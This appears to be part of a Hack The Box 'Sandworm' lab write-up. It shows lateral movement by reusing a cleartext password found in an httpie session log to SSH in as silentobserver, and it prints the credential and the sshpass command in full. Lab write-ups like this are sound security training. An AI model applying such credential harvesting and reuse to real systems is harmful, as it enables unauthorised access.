Sandworm_Lateral_Movement_silentobserver

silentobserver

---

A httpie session log had a CLEARTEXT credential for the silentobserver user

I will be testing it for password reuse against the target SSH service

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ sshpass -p quietLiketheWind22 ssh silentobserver@ssa.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)
 
 * documentation:  https://help.ubuntu.com
 * management:     https://landscape.canonical.com
 * support:        https://ubuntu.com/advantage
 
  system information as of thu jun 29 09:56:27 AM UTC 2023
 
  system load:           0.0224609375
  usage of /:            92.8% of 11.65GB
  memory usage:          18%
  swap usage:            0%
  processes:             228
  users logged in:       0
  ipv4 address for eth0: 10.10.11.218
  ipv6 address for eth0: dead:beef::250:56ff:feb9:ed83
 
  => / is using 92.8% of 11.65GB
 
 
Expanded Security Maintenance for Applications is not enabled.
 
0 updates can be applied immediately.
 
Enable ESM Apps to receive additional future security updates.
see https://ubuntu.com/esm or run: sudo pro status
 
 
The list of available updates is more than a week old.
to check for new updates run: sudo apt update
 
last login: Mon Jun 12 12:03:09 2023 from 10.10.14.31
silentobserver@sandworm:~$ whoami
silentobserver
silentobserver@sandworm:~$ hostname
sandworm
silentobserver@sandworm:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.218  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:ed83  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:ed83  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:ed:83  txqueuelen 1000  (Ethernet)
        RX packets 3541596  bytes 643421281 (643.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4235986  bytes 1801448661 (1.8 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 12264499  bytes 2183582512 (2.1 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 12264499  bytes 2183582512 (2.1 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Password reuse confirmed Lateral Movement made to the silentobserver user via SSH

Since I am is no longer bound by firejail as the silentobserver user, I will now get to the system enumeration